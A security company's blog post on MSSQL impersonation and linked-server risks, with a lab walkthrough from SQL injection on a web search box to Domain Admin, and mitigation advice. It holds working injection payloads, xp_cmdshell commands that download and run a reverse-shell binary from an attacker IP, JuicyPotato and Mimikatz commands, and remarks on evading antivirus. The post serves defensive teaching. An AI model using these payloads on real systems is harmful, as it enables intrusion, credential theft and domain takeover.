The dangers of MSSQL features – Impersonation & Links

Microsoft has added a tremendous amount of functionality to MSSQL throughout the years, which enables developers and database administrators to do all sorts of neatness to complete their tasks. Today it does not take long to build a webpage and populate it with data collected from multiple sources, and even present it in a professional manor. This is of course great; It is possible to produce something of value in a short amount of time, but it can also expose your infrastructure in ways you might not suspect. In this blog post, I will dive into two MSSQL features; Impersonation and SQL Database Links and end it off with a Zero-to-Hero type attack, simulating a webpage vulnerable to SQL injection, which eventually leads to a complete domain compromise. Sounds interesting? Lets go!

Impersonation – What is it?

Impersonation, in the context of MSSQL, lets you run database queries among other tasks, as if you were someone else. Here is a few use cases:

  • Testing – Example: A colleague needs permissions to perform a task on a specific database and you want to test whether that your colleague’s user account has the required permissions. You give yourself impersonation privileges for that user and perform one of these tasks, using impersonation.

  • Stored procedures that perform privileged actions – Example: Certain employees have the need to generate a report on demand, which pulls data from a database containing large amounts of sensitive data. Instead of giving these employees read permissions on the database, you create a stored procedure that queries the sensitive database while impersonating a user with the required read permissions. You then give the employees permissions to run that stored procedure. This way, the employees have no direct access to the sensitive data and can only retrieve the data specified in the stored procedure.

Impersonation - Example

I have created a database named “recipes” which contains a table named “recipe”. The contents are food recipes and the user “recipeuser” has read permissions on the recipe table. The example below runs 2 queries. The first prints the username of the user performing the query and the second pulls the data from the recipe table.

Impersonation by Improsec

Recipeuser now needs write permissions on the table, to add new recipes. While being connected to the database as “recipeadmin” who has this permission, impersonation privileges is granted to recipeuser for recipeadmin.

Recipeadmin by Improsec

Let’s attempt to add a new recipe as recipeuser, then impersonate recipeadmin and try again.

Impersonate recipeadmin by Improsec

As seen above, the first attempt to add a new recipe as recipeuser fails, but the second attempt, where we first impersonate recipeadmin with “EXECUTE AS LOGIN = ‘recipeadmin’, completes without errors.

By now, a question might have popped into your head: Why not just give recipeuser write permissions on the table instead of using impersonation? In this case that would have made sense, and this was just to demonstrate how to use impersonation.

Impersonation – The problem

You might have already guessed it. The problem is that you might not know exactly what permissions you acquire when using impersonation. Building on the example above, exactly which permissions does recipeadmin have? Might it have permissions on other databases, not intended for recipeuser to access? Might it even have administrative permissions on the SQL server itself?

Another problem, where a parallel can be drawn to the Identity Management (IDM) world, is the accumulation of permissions, often referred to as Privilege Creep. This can happen when people change positions internally, and the permissions from the old position aren’t revoked when the change takes effect. Over time, this can accumulate and too many privileges are held. This can be combatted by implementing an Identity Governance model with periodic attestation of permissions.

How is this related to impersonation? Well, what happens when recipeadmin obtains new permissions? Recipeuser inherits them through the impersonation privilege, which isn’t necessarily intended. Recipeadmin might even get the impersonation privileges itself for a third user, in which case recipeuser can perform “double impersonation” and obtain the privileges of the third user.

Impersonation should be thought through carefully and optimally reviewed regularly, to ensure that no accounts have obtained permissions that weren’t intended.

To figure out if impersonation is used on your SQL servers, and who can impersonate who, you can use the query below (taken from here).

SQL servers by Improsec

Example:

SQL servers by Improsec

The query should be run by a user with the sysadmin role, to get the full picture. The ImpersonatorType and ImpersonateeLoginType refers to the type of account. SQL_LOGIN refers to a local SQL database user. WINDOWS_LOGIN would be a local Windows account on the SQL server itself, but also refers to a domain user.

I hope this gives you an idea of what impersonation can be used for, the dangers it can introduce and how to combat them 😊 Now onto links!

SQL Link – What is it?

A SQL link from one SQL server to another simply enables you to perform queries against it. This is valuable if you need to collect and present data stored in multiple databases spread over multiple SQL servers. Instead of collecting the data using scripts or other measures and store the data somewhere central for querying, you can configure links and use one single query that pulls the data from all the sources simultaneously.

SQL Link – Example

Below is an example of a SQL link made from SQL1 server to SQL2. The link is configured on the server which you want to gain access from. So, in this case I am connected to SQL1 and gain access to SQL2. Setting up the link is simple. Under “Server Objects”, right click on “Linked Servers” and choose “New Linked Server”.

SQL Link by Improsec

The window below then will pop up. If the SQL server you want to link is a MSSQL server and the account which you are logged in as on SQL1 has sysadmin permissions on SQL2, all you have to do is type in the DNS name or IP address and choose SQL Server. If you want to connect to other types of SQL servers, such as a MYSQL server, choose “Other data source” and pick the appropriate Provider.

New Linked Server by Improsec

When the link has been established, it is time to configure the permissions. Right click the link and choose Properties then Security. A bunch of different possibilities are available:

Linked Server Properties by Improsec

The mappings table contains the credentials you would like to be available for use, when querying the linked server. It is possible to define a local login, meaning a user existing on SQL1, and whether you want to impersonate or map the user to remote user only present on SQL2. When choosing impersonation in this scenario, it assumes that an account with the same username and password is present on SQL2. Choosing a remote user assumes that it also exists on SQL2.

The bullets below define what happens if a user, not defined in the table, attempts to query the linked server.

  • Not be made: Simply denies the connection.

  • Be made without using a security context: Can be used if the linked server, SQL2, does not require authentication.

  • Be made using the login’s current security context: The credentials of the user currently connected will be used. If this is a domain user, it assumes that the user has permission to connect to the linked server. If a local SQL user is utilized, the exact same username and password must be present on the linked server.

  • Be made using this security context: A specific set of credentials is provided and will be used.

In the example above, the local user foodloveruser is used and the remote user recipeuser. Also, the “Not be made” is chosen. This means that foodloveruser is the only user on SQL1 with permissions to use the link. Not even sysadmin accounts on SQL1 can use it. Of course, any sysadmin on SQL1 would be able to reconfigure the link and gain access that way, but it makes sure that all other accounts on SQL1 or domain users, won’t be able to use the link.

So how do you query using a link? It’s as simple as just providing the SQL link name as part of the query, like so:

a.png

There is a downside of using alternative syntax as I did above. It is not possible to perform nested linked queries. For example, if SQL2 itself has a link to SQL3, it would not be able to perform a query from SQL1, as in: SQL1 -> SQL2 -> SQL3. For these cases, you would use regular SQL syntax and use open queries, like so:

select * from openquery("SQL2",'select * from recipes.dbo.recipe');

SQL Query by Improsec

To figure out if any links are configured on a SQL server, you can do it using the GUI in MSSQL Management Studio, but you can also use the following query:

SELECT name FROM sys.servers WHERE is_linked = 1;

The dangers of MSSQL features – Impersonation & Links by Improsec

SQL Link – The problem

When using links, you have to be careful. Just like with impersonation, you might not have the complete picture when configuring the link. What permissions are gained on the remote server when setting up the link? What happens when permissions change on the remote account, if configured with one? Specific accounts should be created for the purpose of using the link, and only for this purpose so you maintain control of the accounts and their permissions. To take it even further, you could create signed stored procedures, which these accounts have permissions to run, and nothing else.

That is it for impersonation and links, it’s time to have some fun! 😊

SQL injection --> Domain Admin

I have set up a lab that resembles a part of a real infrastructure. The goal is to show you how an attacker could gain initial access through a vulnerable webserver, to then work his way around the infrastructure using various techniques including impersonation and links, and eventually obtain Domain Admin privileges.

The lab consists of the following:

  • DC1 – Windows Server 2019 - Domain Controller

  • IIS1 - Windows Server 2019 – IIS webserver hosting a web application

  • SQL1 – Windows Server 2019 – MSSQL database

  • SQL2 – Windows Server 2016 – MSSQL database

  • AirHero – Kali Linux – Attackers machine

The only part of the infrastructure directly accessible from the internet is the IIS server, which hosts a web application. Let’s pretend this is a real website, and as an attacker we visit it from our browser. The website is called FoodAddict and is seen below:

The dangers of MSSQL features – Impersonation & Links by Improsec

The website looks very minimalistic. All it contains is a search box. Before searching for something, we take a look at the source code of the page. At the bottom we find:

a.png

So, the site is built using ASP.NET. This almost certainly means that the server hosting this application is running on Windows, and probably use IIS. Whatever database is behind that would probably be a MSSQL server. We don’t know any of this for sure at the moment, but it is most likely the case.

Let’s type in something and see what happens:

The dangers of MSSQL features – Impersonation & Links by Improsec

Searching for “pet” gave a single result. It probably got that hit on the name “Peter”. Let’s try to search for “New” to see if it also searches based on Hometown:

The dangers of MSSQL features – Impersonation & Links by Improsec

No results. We could keep going to get an idea of what the SQL query might look like, but it would be more interesting to find out if the application is vulnerable to SQL injection. A classical first thing to try, would be to search for single quote ( ‘ ). Single quotes are used in SQL to indicate the start and end of a string. This is relevant because the query that the page performs to retrieve the data, probably looks something like this:

SELECT * FROM database_name WHERE Name LIKE 'SearchString%'

SearchString would be whatever was typed into the search field on the page and the % means “stuff that comes after”. At this point this is just a guess, but based on our findings so far, it is probably not far off. Since the search string is in between two single quotes, what would happen if you search for a single quote? Let’s try it:

The dangers of MSSQL features – Impersonation & Links by Improsec

No results. This can mean multiple things. Either it did perform a search correctly, and there are no results with a single quote in the name, or it might mean that an error occurred that was caught and handled by the code performing the query. Why would an error occur? Well the search query would look like this when you search for a single quote:

SELECT * FROM database_name WHERE Name LIKE ''%'

This is invalid SQL syntax. The first two single quotes would open and close the string, and the %’ would follow. The last part would not be a part of the query and would be considered invalid characters not belonging to the query. A SQL error would be thrown.

We don’t know which of the cases are true here, but we can find out! We can perform what is called blind SQL injections, to figure out if we in any way have control over the SQL server. One of the most popular ways of doing so, is by utilizing the “WAITFOR” command. This command tells the SQL server to wait for a specific amount of time before it continues execution of whatever it is currently doing. WAITFOR is specific to MSSQL, but other SQL vendors have similar commands, such as “Sleep”. The WAITFOR syntax is:

WAITFOR DELAY 'hh:mm:ss.mmm'

So, to make the SQL server wait for 5 seconds, we would do:

WAITFOR DELAY '0:0:5'

If the SQL server is indeed vulnerable to SQL injection, the page should “hang” for 5 seconds.

So how do we do this? Well, if we assume that the query looks something like our guess above, we might be able to do the following:

SELECT * FROM database_name WHERE Name LIKE 'pet'; WAITFOR DELAY '0:0:5';--%'

And what we would type into the search field would be:

pet'; WAITFOR DELAY '0:0:5';--

This would perform two queries. The first one would be a search for “pet”, then followed by the WAITFOR command. After the WAITFOR command, two dashes (--) are added. Dashes are used as comments in SQL and would remove anything after the them. Since we inserted the WAITFOR command in the middle, we would need to remove the %’ at the end, to make sure the SQL command is valid and no error is thrown. Let’s try it out!

The dangers of MSSQL features – Impersonation & Links by Improsec

The page becomes unresponsive, and the loading icon on the browser tab spins for 5 seconds:

The dangers of MSSQL features – Impersonation & Links by Improsec

We have just performed a successful blind SQL injection! Now the world is our oyster (or whatever seafood you prefer) and we can dig even deeper!

The next step would be to figure out how to get the SQL database to return interesting data to us. This isn’t as straight forward as it might sound. To get it to return data to us, we would have to know the names of the databases and tables we would like to query, and querying them directly isn’t possible, because we are somewhat limited by the name search query performed by the application. But we still have a chance. There are certain types of queries we can perform without any knowledge of the data structures behind. One of them is returning the version of the SQL server:

SELECT @@version

The dangers of MSSQL features – Impersonation & Links by Improsec

Using the same method as the WAITFOR, I snuck in a % after “pet” so we can see that the first query is executed and data is returned. We then perform the version check:

pet%'; SELECT @@version;--

The dangers of MSSQL features – Impersonation & Links by Improsec

We only get the one expected result, but no additional row is added with the version information. Why? Well, the version query was actually performed but data wasn’t returned. When the first query is performed, the SQL server immediately returns the result to the web application and leaves out the results of the second query. We would need to somehow convince the SQL server to merge the results of the two queries and only then return the result. Luckily, there is such an operator in SQL. Its name is UNION and hackers love it. Union injection is a whole category of SQL injections in itself. It enables you to retrieve all the data from the databases you have access to, using some clever tricks. I won’t go into detail here, but it involves querying the schema definitions of the database to figure out the names of databases and tables.

In this case we will use union to first get the version returned to us. Union lets you merge the contents of two tables into one. A requirement for doing so is that the number of columns selected from each table is the same. So, for example if we want to merge firstname and lastname from one table, with shoesize and haircolor from another, we could do it like so:

select firstname,lastname from database.dbo.table1 UNION select shoesize,haircolor from database.dbo.table1

This would be valid, and we would get the results merged into one result table. But in our case, we don’t know the number of columns returned by the name search query, but we have a pretty good guess. The table on the website shows 4 columns: Name, Hometown, Age and Favourite food. More data might be returned, which is not shown in the table, but 4 is a good guess. If 4 is incorrect, we would just keep incrementing until we get data returned.

Next problem is the data types. For a union to be valid, the datatypes must match. It is not possible to merge a column with datatype VARCHAR with datatype INT. We can however get around this by using CONVERT. CONVERT lets us convert whatever datatype to for example NVARCHAR, like so
CONVERT(NVARCHAR,123)

This would convert the 123 of datatype INT to datatype NVARCHAR.

In this example, all the data, except Age is probably of datatype VARCHAR or NVARCHAR. Age might be INT, but it could also be NVARCHAR, we do not know yet.

Enough rambling, how would we use this and get some version data back? We would do something like this:

pet%' UNION SELECT @@version,'a',1,'b' --

We know that @@version returns only 1 column and the datatype is NVARCHAR so that should be mergeable with Name. We then add the string ‘a’ which should merge just fine with Hometown. 1 should merge just fine with Age, assuming it is of type INT. ‘B’ should merge just fine with Favourite food. We don’t know the order of the data returned; we are just guessing. Figuring all this out would be brute forceable. Let’s see if we guessed correctly:

The dangers of MSSQL features – Impersonation & Links by Improsec

We got data back! Not even just the SQL server version. We can see what the underlying operating system is and that it is running on a Hypervisor. Thank you Microsoft 😊

Everything we have performed so far can be automated. Tools such as Sqlmap does a great job of this, but has its limitations and understanding the nature of SQL injections can be of great value. Additionally, you wouldn’t normally test and perform SQL injection from your browser. You would tunnel the traffic going from your browser through a proxy such as Burp, which makes it much easier and faster to manipulate the input data. I just thought it would be more fun to do it through the browser since it makes it easier to understand what is going on.

Next up, enumerating the SQL server for privileges!

SQL Privilege enumeration

Let’s first figure out who we are, using system_user:

pet%' UNION SELECT system_user,'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Looks like we are performing the queries using “foodloveruser”. Let’s check if we are a sysadmin:

pet%' UNION SELECT CONVERT(NVARCHAR,IS_SRVROLEMEMBER('sysadmin')),'a',1,'b' --

The IS_SRVROLEMEMBER returns the result as INT. So before performing the UNION I use CONVERT to convert it to datatype NVARCHAR, so it can be merged with Name.

The dangers of MSSQL features – Impersonation & Links by Improsec

We get a “0” back, indicating that we are not a member of the sysadmin role. Boohoo. Let’s check for impersonation:

pet%' UNION SELECT (SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Nothing. I used another query to return users with impersonation privileges. It only returns the name of the users that can impersonated, and no other information. This makes much easier to UNION it. Let’s check for linked SQL servers:

pet%' UNION SELECT (SELECT name FROM sys.servers WHERE is_linked = 1),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Interesting! We got a hit. SQL2 seems to be linked. Let’s use an OPENQUERY to see if we can query it and get the version:

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'select @@version')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Well what do you know. We got an MSSQL 2019 server running on Windows Server 2016 it seems 😊

Let’s check who we are:

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'select system_user')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

We appear to be the user “recipeuser”. Check for impersonation:

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = ''IMPERSONATE''
')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Aha! So “recipeadmin” can be impersonated. We don’t know if “recipeuser” has that privilege though, but why not just try and see what happens?

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'EXECUTE AS LOGIN =
''recipeadmin'';
select system_user;')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Looks like we just impersonated “recipeadmin” 😊 Lets see if “recipeadmin” is a member of the sysadmin role:
pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'EXECUTE AS LOGIN =
''recipeadmin'';
SELECT CONVERT(NVARCHAR,IS_SRVROLEMEMBER(''sysadmin''))')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

Low and behold, it is! The “1” indicates so. At this point we have SYSADMIN privileges on SQL2. We can access any database we want. But that is not our target. We want Domain Admin privileges in the environment, so we need to gain access to the underlying operating system somehow.

OS command execution

MSSQL has a built-in feature for execution commands on the underlying operating system. This feature is called xp_cmdshell and can be enabled with a few commands. xp_cmdshell is a stored procedure and it requires sysadmin privileges to enable and use, but it is possible to create a proxy account for it, if you don’t want to give an account the sysadmin role to run OS commands.

Checking whether xp_cmdshell is enabled can be done like so:

SELECT ISNULL(value, value_in_use) FROM sys.configurations WHERE name = 'xp_cmdshell'

It will return “1” if enabled and “0” if not.

So, in our case we do:

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'EXECUTE AS LOGIN =
''recipeadmin'';
SELECT ISNULL(value, value_in_use) FROM sys.configurations WHERE name =
'xp_cmdshell''')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

It appears to be disabled. No worries, we’ll just enable it 😊
To do so, we need to first enable advanced features on the SQL server, which is simply done with the following command:

EXEC sp_configure 'show advanced options', 1;

To be able to do this though, we need to make sure RPC Out is enabled on the SQL link. RPC Out must be enabled to run stored procedures over links and as I mentioned earlier, xp_cmdshell is a stored procedure. Instead of checking for that individually, let’s try and enable “show advanced features” and afterwards check whether it was enabled. We can enable advanced features by doing the following:

EXEC sp_configure 'show advanced options',1; reconfigure;

So what we do is:

pet%'; EXECUTE('EXECUTE AS LOGIN = ''recipeadmin'';EXEC sp_configure ''show advanced options'',1; reconfigure;') AT "SQL2"; --

The dangers of MSSQL features – Impersonation & Links by Improsec

We get no output back, but that is to be expected since sp_configure doesn’t return a table with data. We can now check whether it has been enabled:

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'EXECUTE AS LOGIN =
''recipeadmin'';
SELECT ISNULL(value, value_in_use) FROM sys.configurations WHERE name = ''show advanced options''')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

It is! That is great news. That means that RPC Out is enabled and we can now enable xp_cmdshell:

pet%'; EXECUTE('EXECUTE AS LOGIN = ''recipeadmin'';EXEC sp_configure
''xp_cmdshell'',1; reconfigure;') AT "SQL2"; --

The dangers of MSSQL features – Impersonation & Links by Improsec

And check:

pet%' UNION SELECT (SELECT * from OPENQUERY ("SQL2",'EXECUTE AS LOGIN =
''recipeadmin'';
SELECT ISNULL(value, value_in_use) FROM sys.configurations WHERE name =
''xp_cmdshell''')),'a',1,'b' --

The dangers of MSSQL features – Impersonation & Links by Improsec

We are now ready to run an OS command. We could run our commands through our SQL injection and get all the command outputs shown on the webpage, but it would be much better to get a reverse shell. I will use my trusty Kali Linux to get my reverse shell. Let’s first check whether we have connectivity to our Kali host, from SQL2, by pinging it:

pet%'; EXECUTE('EXECUTE AS LOGIN = ''recipeadmin'';EXEC master..xp_cmdshell "ping 192.168.159.132"') AT "SQL2"; --

The dangers of MSSQL features – Impersonation & Links by Improsec

We get no response in the table as expected, since we are just running the xp_cmdshell command and not using UNION to show us the output, but what do we see on the receiving end? Using tcpdump and filtering on icmp (ping) packages we see:

Using tcpdump and filtering on icmp (ping) packages by Improsec

So, it looks like SQL2 can connect to us directly. Good news! We need to make sure it can connect to a port of our choosing as well for our reverse shell. Lets pick one of the more common ports, 443, and check whether it can connect to us on that port. I use Powershells built-in command, Test-NetConnection for this purpose:

pet%'; EXECUTE('EXECUTE AS LOGIN = ''recipeadmin'';EXEC master..xp_cmdshell "Powershell.exe /c Test-Netconnection 192.168.159.132 -Port 443"') AT "SQL2"; --

Powershells built-in command, Test-NetConnection by Improsec

And the result:

Powershells built-in command, Test-NetConnection by Improsec

We got a connection back! Now for getting the actual reverse shell we have many options. A long list of tools and scripts exists, however most of them will be caught by Antivirus products. In this example, I will be using a simple reverse shell EXE binary I built myself in C++, which won’t be caught by Windows Defender. If a SIEM solution was in place, with proper rules, Carbon Black was installed, or Applocker was configured, this wouldn’t be viable and you would have to think harder about how to get around these security mechanisms.

I host the reverse shell binary on my Kali machine using SimpleHTTPServer, a minimalized webserver, bundled with Kali Linux. I have specified that it should listen on port 80, which hopefully is allowed for SQL2 to visit, just as port 443. Whatever is in the current working directory, and its subdirectories when you start up SimpleHTTPServer, is served by the webserver.

The dangers of MSSQL features – Impersonation & Links by Improsec

Next step is to download rev.exe on SQL2 and place it somewhere. We don’t know which user we will get a shell as, so we don’t know what permissions we actually have on SQL2. A good guess on where we have permissions to write files however, is in the documents folder of the user. We can use the %USERPROFILE% variable to get the path to the users home folder and append \documents to that. We will use Powershell’s Invoke-WebRequest (iwr in short), to download the file, like so:

iwr -Uri http://192.168.159.132/rev.exe -Outfile %userprofile%\Documents\rev.exe

Lets do it:

pet%'; EXECUTE('EXECUTE AS LOGIN = ''recipeadmin'';EXEC master..xp_cmdshell
"Powershell.exe /c iwr -Uri http://192.168.159.132/rev.exe -Outfile
%userprofile%\Documents\rev.exe"') AT "SQL2"; --

The dangers of MSSQL features – Impersonation & Links by Improsec

We get no output back as expected, but if we take a look at our SimpleHTTPServer:

The dangers of MSSQL features – Impersonation & Links by Improsec

We see that SQL2 did download our file. Awesome! I hardcoded the IP address of my Kali box and the port (443), so the rev.exe binary takes no parameters. All that is left to do now, is to execute it and hopefully get our reverse shell on port 443 on my Kali box. We execute it like so:

cmd.exe /c %userprofile%\Documents\rev.exe

Before executing it, we set up a listener on port 443, so we are ready to catch the shell:

The dangers of MSSQL features – Impersonation & Links by Improsec

And then we execute:

pet%'; EXECUTE('EXECUTE AS LOGIN = ''recipeadmin'';EXEC master..xp_cmdshell "cmd.exe /c %userprofile%\Documents\rev.exe"') AT "SQL2"; --

The dangers of MSSQL features – Impersonation & Links by Improsec

And check it out, we got our shell:

Shell by Improsec

Let’s do a bit of enumeration. We would like to know who we are, what privileges we have, and what operating system we are running on (we actually know this from the SQL version check we did this earlier). We do this using “whoami”, “whoami /priv” and “systeminfo”:

enumeration by Improsec

We are running as “nt service\mssqlserver”, we have quite a few privileges, notably “SeImpersonatePrivilege” and we are on a “Microsoft Windows Server 2016 Standard”. The privileges we hold, are default for a MSSQL service account. This set of circumstances are quite common, since MSSQL per default runs under this user, and Windows Server 2016 is still widely used. Our goal, as stated earlier, is to obtain Domain Admin privileges, and this setup allows us to get one step closer to our goal. If any user with Domain Admin privileges has logged on to SQL2, we might be able to grab the cached NTLM hash of that user. To do that however, we must have administrative privileges locally on SQL2. To obtain administrative privileges, we can escalate from “nt service\mssqlserver” to nt authority\system”, using the infamous JuicyPotato attack. For the attack to work, we need the “SeImpersonatePrivilege”, which we luckily have, and run on a vulnerable operating system version, which we do. A completely patched Windows Server 2016 is vulnerable to this attack, and Microsoft has stated that they will not patch or make any changes to Windows Server 2016 to mitigate it. You would have to upgrade to Windows Server 2019 to be safe from this attack.

Downloading the pre-compiled JuicyPotato binary from Github will not work however. Windows Defender and probably most other Antivirus vendors catch it, so we will need to do some magic. We could build our own exploit, or maybe we can just modify the one from GitHub a bit? That’s what I did, and it didn’t take much effort to fool Windows Defender. I won’t go into details on what I changed, but it can be done by anyone 😊

Let’s download the JuicyPotato binary to SQL2 using the same method as earlier:

JuicyPotato by Improsec
JuicyPotato by Improsec

And download procdump64.exe for dumping the lsass.exe process, containing the potentially cached credentials:

potentially cached credentials by Improsec
potentially cached credentials by Improsec

And now create a bat file that dumps the lsass.exe process, and copies the dump file to a SMB share on our Kali box:

lsass.exe process by Improsec

Get our SMB server ready to receive the dump file, using Impacket:

Dump file by Improsec

Next up is running JuicyPotato and executing the dump.bat script as “nt authority\system”:

C:\Users\MSSQLSERVER\Documents\j.exe -l 1337 -p C:\Users\MSSQLSERVER\Documents\dump.bat -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

JuicyPotato by Improsec

And check whether we got the dump file:

Dump file by Improsec

We got the lsass.dmp file. I transfer it to my Windows 10 from which I plan to check the dump file for cached credentials using Mimikatz. Using Mimikatz to extract cached credentials is simple. All you have to do is run the following two commands:

sekurlsa::minidump dump.dmp

sekurlsa::logonPasswords

The dangers of MSSQL features – Impersonation & Links by Improsec

As seen above, we got the cached credentials of a user named Jacob, belonging to the Active Directory domain named TESTDOM.

Before attempting to use the credentials, let’s use SharpHound to enumerate Active Directory and feed the output into BloodHound.

I downloaded SharpHound.exe using the same method as earlier and ran it like so:

SharpHound by Improsec

The output is a ZIP file containing all the juicy data collected from Active Directory. I transferred it to my Kali box using the SMB server as earlier:

The dangers of MSSQL features – Impersonation & Links by Improsec
The dangers of MSSQL features – Impersonation & Links by Improsec

And loaded it into BloodHound. Searching for the user “Jacob” we can get an overview of the user’s group memberships in Active Directory:

Active Directory by Improsec

It doesn’t get much better. The user is a member of “Domain Admins” and “Administrators”. We have the NTLM hash of the user, so the next step would be to perform a pass-the-hash attack, and we are effectively a Domain Administrator!

There are multiple ways of performing pass-the-hash, where the most common way is using Mimikatz. It has a built-in functionality to either inject the ticket it into the current process from where you are running Mimikatz, or you can spawn a new process with the token, or even save it to a file for later use. This would require us to either place Mimikatz.exe or Invoke-Mimikatz.ps1 on SQL2, or alternatively inject Invoke-Mimikatz.ps1 directly into memory. This however, will get caught by Windows Defender. You could attempt to obfuscate either of them, but I chose to use Rubeus, which is developed harmj0y and based on Benjamin Delphy's Kekeo project. Rubeus extends Mimikatz specifically for Kerberos related tasks, and in this case we will use it for simply spawning a process containing a Kerberos ticket of Jacob. Rubeus will also get caught by Windows Defender, but a bit of fiddling around, removing some code and renaming some stuff, I got it working just fine 😊

I would like a reverse shell as the user Jacob, so I compiled a new version of my C++ shell and configured it to use port 445 instead of 443 and named it “rev2.exe”. I downloaded both rev2.exe and Rubeus (rub.exe) to SQL2 using the same mechanism as earlier. To pass the hash we need the “Debug Programs” privilege. Our current user, mssqlserver does not have this privilege, but luckily we can use JuicyPotato again and execute the attack as NT AUTHORITY\SYSTEM, which does hold the privilege. I created a .bat file named rev2.bat containing the call to Rubeus which in turn spawns a new process with an injected Kerberos ticket for Jacob which calls rev2.exe:

The dangers of MSSQL features – Impersonation & Links by Improsec

All that is left now is calling rev2.bat using JuicyPotato and we should receive a shell on port 445 on our Kali box:

C:\Users\MSSQLSERVER\Documents\j.exe -l 1337 -p "C:\Users\MSSQLSERVER\Documents\rev2.bat" -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

The dangers of MSSQL features – Impersonation & Links by Improsec

And check it out:

The dangers of MSSQL features – Impersonation & Links by Improsec

We got our shell on port 445! Running the “whoami” command shows that we are “nt authority\system” which makes sense, since we called the .bat file using JuicyPotato, but as the “klist” command shows, we have a Kerberos ticket for Jacob injected into the process. This means that we have effectively become Jacob and can do whatever this user has permissions for. Since he is a member of Domain Admins, let’s see if we have read/write permissions on DC01:

The dangers of MSSQL features – Impersonation & Links by Improsec

Looks like we do 😊 - At this point, a full domain compromise would be possible, enabling an adversary to for example perform a ransomware attack or search for juicy data in preparation for extortion.

What could have been done to prevent this?

I’ll go through each of the attacks and techniques used and propose solutions to how these could have been mitigated and hopefully you will learn something or be inspired 😊

SQL injection

SQL injection is an old attack, but we frequently see vulnerable applications even today. Preventing it can be done in multiple ways:

  • Parameterized statements/Prepared statements - This method uses the built-in functionality of many programming languages for performing SQL queries in a secure manner. This technique should always be used if possible.

  • Object Relational Mapping (ORM) – In the scope of SQL, ORM allows developers to represent the structure of the SQL database as objects in their code and performing operations on the SQL database is done using these objects. This means that developers do not need to write the actual SQL statements themselves but is instead handled safely by the ORM framework in use. You should however not depend solely on ORM for SQL injection prevention, since it technically is possible to write you own SQL statements when using an ORM framework.

  • Sanitizing and escaping input – This method removes or escapes any characters from the input which could be used by an attacker to perform an SQL injection attack. This method can be tough to implement since input fields on websites vary in what characters should be allowed. A password field for example should allow almost all characters, so removing or escaping the single quote ( ‘ ) or hyphen ( - ) won’t be possible. Sanitizing and escaping should never be the only SQL injection prevention mechanism in place. It should only be considered if none of the above can be used. If sanitizing and escaping is the only mechanism in place, thorough testing should be performed.

  • Testing – Before going into production, a penetration test should be performed of the application. As a bare minimum, an automated tool such as SQLMap should be used. Optimally, an additional manual test accompanied by code review should be performed.

  • Defence in depth – As a minimum, Parameterized statements/Prepared statements and testing should be performed. Even the most skilled developers make mistakes and all it takes is potentially one line of vulnerable code for an attacker to gain access to your database or even your infrastructure as demonstrated.

SQL impersonation

Impersonation can be a great tool, but use it wisely. Think of other solutions before giving this privilege to an account. As I mentioned earlier, you might not know exactly what privileges the impersonated user has and the privileges might change over time, effectively giving the impersonating user these privileges as well. For securing your environment against impersonation privilege abuse I suggest reviewing your SQL servers for impersonation privileges using the techniques I mentioned. For any users with the impersonate privilege, review what privileges the impersonated user has. If it is too privileged, consider giving the required permissions directly to the impersonating user or alternatively create a stored procedure for the task.

SQL links

Links greatly simplifies querying and merging data from multiple sources simultaneously but can at the same time be a direct gateway for an attacker to continue his attack. As mentioned earlier, you might not be aware of how the links are configured and what privileges are held on the linked server. Just like with impersonation, the privileges might change without your knowledge which can lead to a compromise. I suggest reviewing your SQL server links and making sure they are configured with the correct privileges using the techniques mentioned earlier.

JuicyPotato and other executable files

The JuicyPotato attack has been known for years, yet it is still viable today. Windows Server 2016 and older are all vulnerable and Microsoft will not patch it since it is considered an intended mechanism. Windows Server 2019 however does not suffer from this problem and was “unintentionally” patched.

Preventing execution of JuicyPotato and the other executable files, could have been achieved by doing the following:

  • Upgrade and patch your systems and software. Regularly upgrading and patching both software and operating systems if of critical importance. It is an annoying and boring task but should be on the top of your list when it comes to protecting your IT infrastructure.

  • Use an endpoint protection solution such as Carbon Black or Microsoft Defender Advanced Threat Protection (ATP). Protecting a workstation or server with only Antivirus software in place is not enough as I demonstrated. The changes I made to the code were simple yet enough to fly under the radar of Windows Defender and I am in no way an expert in obfuscation or malware development.

  • Implement Applocker or Windows Defender Application Control (WDAC). Both solutions enable you to lock down which applications, scripts and libraries are allowed to run on the system, effectively blocking execution of the JuicyPotato binary and the other reverse shell binaries used. My colleague Nichlas Falk has written a blogpost about implementing Applocker and WDAC which you can read here.

Outgoing connections

SQL2 connected directly to my Kali machine several times during the attack, both when downloading malicious binaries, exfiltrating data and when establishing the reverse shells. This could have been prevented in the following ways:

  • Implementing an Intrusion Detection System (IDS) or Intrusion Prevention System (IPS). These types of solutions monitor the network traffic for suspicious activity and will either alarm (IDS) or block (IPS) the traffic if something suspicious happens.

  • Blocking internet access or alternatively whitelisting IP addresses. Blocking internet access completely might not be possible due to software requirements or other factors but whitelisting the bare minimum of IP addresses required for the server and software to function would be a solution.

Cached credentials

